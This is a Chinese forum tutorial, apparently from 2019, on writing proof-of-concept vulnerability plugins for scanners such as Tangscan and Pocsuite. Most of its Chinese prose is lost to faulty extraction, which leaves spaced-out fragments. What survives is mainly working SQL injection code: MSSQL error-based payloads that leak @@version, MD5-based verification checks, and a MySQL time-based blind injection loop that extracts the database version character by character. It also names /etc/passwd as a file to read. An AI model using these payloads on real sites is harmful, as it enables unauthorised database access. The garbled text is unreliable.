[28] 2019-11-17_怎样自己动手写POC

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-17
2019-11-17_怎样自己动手写POC P O C A n d y   7 8 9 0   2 0 1 9 - 1 1 - 1 7   P O C P O C P O C P O C   P O C P r o o f   o f   C o n c e p t   P O C E X P   P O C   P O C E X P   E X P E x p l o i t E X P S Q L E X P   P O C E x p l o i t P O C P O C   P O C P O C P O C P O C P o c s u i t e   P o c s u i t e S e e b u g 使 P y t h o n P O C P O C k b k b S e b u g S e e b u g 2 0 1 6 S e b u g B e e b e e t o S e e b u g g i t h u b k n o w n s e c / P o c s u i t e T a n g s c a n   T a n g s c a n w o o y u n 使 P y t h o n P O C P O C T a n g s c a n g i t h u b h t t p s : / / g i t h u b . c o m / W o o Y u n / T a n g S c a n B u g s c a n   B u g s c a n 使 P y t h o n P O C P O C r a n k   S D K h t t p : / / i m g . b u g s c a n . n e t / b i n / s d k . z i p   使 P O C P O C   P O C P O C 使 P O C   P O C C M S g i t h u b P O C   P O C D o c k e r W e b P O C   P O C P y t h o n P y t h o n H T M L H T T P P y t h o n u r l l i b 2 :   H T T P / H T T P S r e q u e s t s : u r l l i b 2 r e r a n d o m b a s e 6 4 b a s e 6 4 h a s h l i b : m d 5 t i m e 访   P y t h o n
  P O C P O C   S Q L P O C M y S Q L   M y S Q L m d 5 m d 5 s e l e c t   m d 5 ( 1 ) ;   m d 5 # r a n d _ n u m = r a n d o m . r a n d i n t ( 0 , 1 0 0 0 ) m d 5 h a s h _ f l a g = h a s h l i b . m d 5 ( s t r ( r a n d _ n u m ) ) . h e x d i g e s t ( ) # m d 5 s e l e c t   m d 5 ( { n u m } ) . f o r m a t ( n u m = r a n d _ n u m ) M S S Q L M S S Q L 2 0 0 5 m d 5 s e l e c t   s y s . f n _ v a r b i n t o h e x s t r ( h a s h b y t e s ( ' M D 5 ' , ' 1 ' ) ) ; O r a c l e O r a c l e m d 5 C H R s e l e c t   C H R ( 9 7 )   | |   C H R ( 9 9 )   | |   C H R ( 1 2 0 )   | |   C H R ( 1 1 8 )   | |   C H R ( 9 9 )   | |   C H R ( 9 8 )   | |   C H R ( 1 1 0 )   f r o m   d u a l s e l e c t   ' a c x v c b n '   f r o m   d u a l R a n d _ s t r   = r a n d o m . s a m p l e ( " 1 2 3 4 7 8 9 a c i o e p L F T Q V B U S E u s " , 7 ) k e y w o r d = ' ' . j o i n ( R a n d _ s t r ) v a l u e = [ ' C H R ( ' + s t r ( o r d ( x ) ) + ' ) | | '   f o r   x   i n   k e y w o r d ] v a l u e = ' ' . j o i n ( v a l u e ) . r s t r i p ( ' | | ' ) W i n d o w s L i n u x W i n d o w s   C : / W i n d o w s / S y s t e m 3 2 / d r i v e r s / e t c / h o s t s L i n u x   / e t c / p a s s w d P O C 访   P O C s l e e p P O C P O C   T a n g s c a n T a n g s c a n P O C # !   / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - f r o m   m o d u l e s . e x p l o i t   i m p o r t   T S E x p l o i t c l a s s   T a n g S c a n ( T S E x p l o i t ) :       " " "       T a n g S c a n T S E x p l o i t       " " "       d e f   _ _ i n i t _ _ ( s e l f ) :               s u p e r ( s e l f . _ _ c l a s s _ _ ,   s e l f ) . _ _ i n i t _ _ ( )               s e l f . i n f o   =   {                       " n a m e " :   " " ,     #   P O C                       " p r o d u c t " :   " " ,     #   P O C ,     t a n g s c a n                         " p r o d u c t _ v e r s i o n " :   " " ,     #                         " d e s c " :   " " "                       " " " ,     #   P O C                       " l i c e n s e " :   s e l f . l i c e n s e . T S ,     #   P O C                       " a u t h o r " :   [ " " ] ,     #   P O C                       " r e f " :   [                               { s e l f . r e f . u r l :   " " } ,     #   u r l                               { s e l f . r e f . w o o y u n :   " " } ,     #   w o o y u n                       ] ,
                      " t y p e " :   s e l f . t y p e . i n j e c t i o n ,     #                         " s e v e r i t y " :   s e l f . s e v e r i t y . h i g h ,     #                         " p r i v i l e g e d " :   F a l s e ,     #                         " d i s c l o s u r e _ d a t e " :   " 2 0 1 4 - 0 9 - 1 7 " ,     #                         " c r e a t e _ d a t e " :   " 2 0 1 4 - 0 9 - 1 7 " ,     #   P O C                 }               s e l f . r e g i s t e r _ o p t i o n ( {                       " u r l " :   {     #   P O C     u r l                               " d e f a u l t " :   " " ,     #                                 " r e q u i r e d " :   T r u e ,     #                                 " c h o i c e s " :   [ ] ,     #                                 " c o n v e r t " :   s e l f . c o n v e r t . u r l _ f i e l d ,     #                                 " d e s c " :   " "     #                         }               } )               s e l f . r e g i s t e r _ r e s u l t ( {                       " s t a t u s " :   F a l s e ,     #   P O C                         " d a t a " :   {                       } ,     #   P O C                         " d e s c r i p t i o n " :   " " ,     #   P O C                         " e r r o r " :   " "     #   P O C                 } )       d e f   v e r i f y ( s e l f ) :               " " "               w a f               : r e t u r n :               " " "               p a s s       d e f   e x p l o i t ( s e l f ) :               " " "                             : r e t u r n :               " " "               p a s s i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :       f r o m   m o d u l e s . m a i n   i m p o r t   m a i n       m a i n ( T a n g S c a n ( ) )   v e r i f y e x p l o i t T a n g s c a n P O C E X P d e f   e x p l o i t ( s e l f ) :                 r e t u r n   s e l f . v e r i f y ( )   S Q L P O C P O C S Q L   U n i o n P O C m d 5 p a y l o a d v e r i f y S Q L p a y l o a d e x p l o i t M S S Q L d e f   v e r i f y ( s e l f ) :               r a n d _ n u m = r a n d o m . r a n d i n t ( 0 , 1 0 0 0 )               h a s h _ f l a g = h a s h l i b . m d 5 ( s t r ( r a n d _ n u m ) ) . h e x d i g e s t ( )               p a y l o a d = ( " 1 '   a n d   s y s . f n _ v a r b i n t o h e x s t r ( h a s h b y t e s ( ' M D 5 ' ,   ' { n u m } ' ) ) = 0   a n d   ' 1 ' = ' 1 " ) . f o r m a t ( n u m = r a n d _ n u m )               e x p _ u r l = " { d o m a i n } / x x x x ? s q l = { p y } " . f o r m a t ( d o m a i n = s e l f . o p t i o n . u r l , p y = p a y l o a d )               t r y :                       r e s p o n s e   =   r e q u e s t s . g e t ( u r l = e x p _ u r l ,   t i m e o u t = 1 5 ,   v e r i f y = F a l s e )               e x c e p t   E x c e p t i o n ,   e :                       s e l f . r e s u l t . e r r o r   =   s t r ( e )                       r e t u r n               i f   h a s h _ f l a g   n o t   i n   r e s p o n s e . c o n t e n t :                       s e l f . r e s u l t . s t a t u s   =   F a l s e                       r e t u r n               s e l f . r e s u l t . s t a t u s   =   T r u e               s e l f . r e s u l t . d e s c r i p t i o n   =   "   { u r l }   S Q L , n t :   { e u r l } " . f o r m a t (                       u r l = s e l f . o p t i o n . u r l ,                       e u r l = e x p _ u r l               )
d e f   e x p l o i t ( s e l f ) :       e x p _ u r l = " { d o m a i n } / x x x x ? s q l = a '   a n d 1 = C O N V E R T ( i n t , C H A R ( 1 2 6 ) % 2 B C H A R ( 1 2 6 ) % 2 B C H A R ( 1 2 6 ) % 2 B @ @ v e r s i o n % 2 B C H A R ( 1 2 6 ) % 2 B C H A R ( 1 2 6 ) % 2 B C H A R ( 1 2 6 ) ) - - " . f o r m a t ( d o m a i n = s e l f . o p t i o n . u r l . r s t r i p ( ' / ' ) )       t r y :               r e s p o n s e   =   r e q u e s t s . g e t ( u r l = e x p _ u r l ,   t i m e o u t = 1 5 ,   v e r i f y = F a l s e )               r e s u l t   =   r e . f i n d a l l ( r ' ~ ~ ~ ( . * ? ) ~ ~ ~ ' ,   r e s p o n s e . c o n t e n t ,   r e . S   |   r e . I )               e x c e p t   E x c e p t i o n ,   e :                       s e l f . r e s u l t . e r r o r   =   s t r ( e )                       r e t u r n       i f   l e n ( r e s u l t )   = =   0 :                       s e l f . r e s u l t . s t a t u s   =   F a l s e                       r e t u r n       s e l f . r e s u l t . s t a t u s   =   T r u e       s e l f . r e s u l t . d e s c r i p t i o n   =   "   { u r l }   S Q L ,   :   { v e r s i o n } n t :   { e u r l } " . f o r m a t (               u r l = s e l f . o p t i o n . u r l ,               v e r s i o n = r e s u l t [ 0 ] ,               e u r l = e x p _ u r l       )   e x p l o i t ~ 便 p a y l o a d 便 P O C   B o o l e n M y S Q L d e f   v e r i f y ( s e l f ) :               r e t u r n   s e l f . e x p l o i t ( )       d e f   e x p l o i t ( s e l f ) :               v e r   =   " "               v e r _ l e n   =   0               e x p _ u r l   =   ( " { d o m a i n } / x x x x ? s q l = " . f o r m a t ( d o m a i n = s e l f . o p t i o n . u r l ) )               p a y l o a d s   =   [ ' @ ' , ' _ ' , ' . ' ,   ' - ' ,   ' 1 ' ,   ' 2 ' ,   ' 3 ' ,   ' 4 ' ,   ' 5 ' ,   ' 6 ' ,   ' 7 ' ,   ' 8 ' ,   ' 9 ' ,   ' 0 ' ] +   l i s t ( s t r i n g . a s c i i _ l o w e r c a s e )               l   =   " 1 '   A N D   ( S E L E C T   *   F R O M   ( S E L E C T ( i f ( l e n g t h ( s u b s t r i n g ( v e r s i o n ( ) , 1 ) ) = % s , s l e e p ( 8 ) , 0 ) ) ) a )   A N D   ' a ' = ' a "               s   =   " 1 '   A N D   ( S E L E C T   *   F R O M   ( S E L E C T ( i f ( a s c i i ( l o w e r ( m i d ( v e r s i o n ( ) , % s , 1 ) ) ) = % s , s l e e p ( 6 ) , 0 ) ) ) a )   A N D   ' a ' = ' a "               #               f o r   x   i n   r a n g e ( 1 ,   3 0 ) :                       s t a r t   =   t i m e . t i m e ( )                       p y = l   %   s t r ( x )                       v u l u r l = e x p _ u r l + p y                       t r y :                               r e s p o n s e   =   r e q u e s t s . g e t ( v u l u r l , t i m e o u t = 1 5 ,   v e r i f y = F a l s e )                               # 访                               t i m e . s l e e p ( 0 . 5 )                               i f   r e s p o n s e . s t a t u s _ c o d e   ! =   2 0 0 :                                       s e l f . r e s u l t . s t a t u s   =   F a l s e                                       r e t u r n                       e x c e p t   E x c e p t i o n , e :                               s e l f . r e s u l t . e r r o r   =   s t r ( e )                               r e t u r n                       e n d   =   t i m e . t i m e ( )                       i f   ( e n d   -   s t a r t )   > = 8 :                               v e r _ l e n   =   x                               b r e a k               i f   v e r _ l e n   = =   0 :                       s e l f . r e s u l t . s t a t u s   =   F a l s e                       r e t u r n               #               f o r   x   i n   r a n g e ( 1 ,   v e r _ l e n + 1 ) :                       f o r   p a y l o a d   i n   p a y l o a d s :                               s t a r t   =   t i m e . t i m e ( )                               p y =   s   %   ( s t r ( x ) ,   s t r ( o r d ( p a y l o a d ) ) )                               v u l u r l = e x p _ u r l + p y                               t r y :                                       r e s p o n s e   =   r e q u e s t s . g e t ( v u l u r l ,   t i m e o u t = 1 5 ,   v e r i f y = F a l s e )                                       #
                                      t i m e . s l e e p ( 0 . 5 )                                       i f   r e s p o n s e . s t a t u s _ c o d e   ! =   2 0 0 :                                               s e l f . r e s u l t . s t a t u s   =   F a l s e                                               r e t u r n                               e x c e p t   E x c e p t i o n , e :                                       s e l f . r e s u l t . e r r o r   =   s t r ( e )                                       r e t u r n                               e n d   =   t i m e . t i m e ( )                               i f   ( e n d   -   s t a r t )   > = 6 :                                       v e r   =   v e r   +   p a y l o a d               #               i f   l e n ( v e r ) ! = v e r _ l e n :                       s e l f . r e s u l t . s t a t u s   =   F a l s e                       r e t u r n               s e l f . r e s u l t . s t a t u s   =   T r u e               s e l f . r e s u l t . d e s c r i p t i o n   =   "   { u r l }   S Q L ,   { d b _ v e r } " . f o r m a t (                       u r l = s e l f . o p t i o n . u r l ,                       d b _ v e r = v e r               )   e x p l o i t   I P 访 U R L s l e e p 访 使   S Q L P O C W e b
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则